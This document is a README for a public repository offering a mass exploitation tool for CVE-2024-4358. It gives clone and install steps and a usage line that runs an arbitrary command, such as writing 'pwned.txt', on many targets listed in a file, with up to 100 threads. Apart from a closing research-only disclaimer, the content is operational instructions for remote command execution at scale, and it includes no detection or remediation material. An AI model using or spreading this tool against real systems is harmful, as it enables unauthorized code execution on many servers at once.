sk1dr0wz/cve-2024-4358_mass_exploitMass exploitation tool for CVE-2024-4358, executing commands on multiple web targets concurrently with threading support.
Modified tools from @sinsinology to do mass exploit.
git clone https://github.com/Sk1dr0wz/CVE-2024-4358_Mass_Exploit.git
cd CVE-2024-4358_Mass_Exploit
pip intstall -r requirements.txt
usage: python CVE-2024-4358.py --target-file targets.txt -c "whoami > C:\pwned.txt" --threads 10
options:
-h, --help show this help message and exit
--target-file TARGET_FILE, -tf TARGET_FILE
File containing target IPs and ports (one per line, e.g: http://192.168.1.1:83)
--command COMMAND, -c COMMAND
Command to execute
--threads THREADS, -th THREADS
Number of threads to use (max: 100)
This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.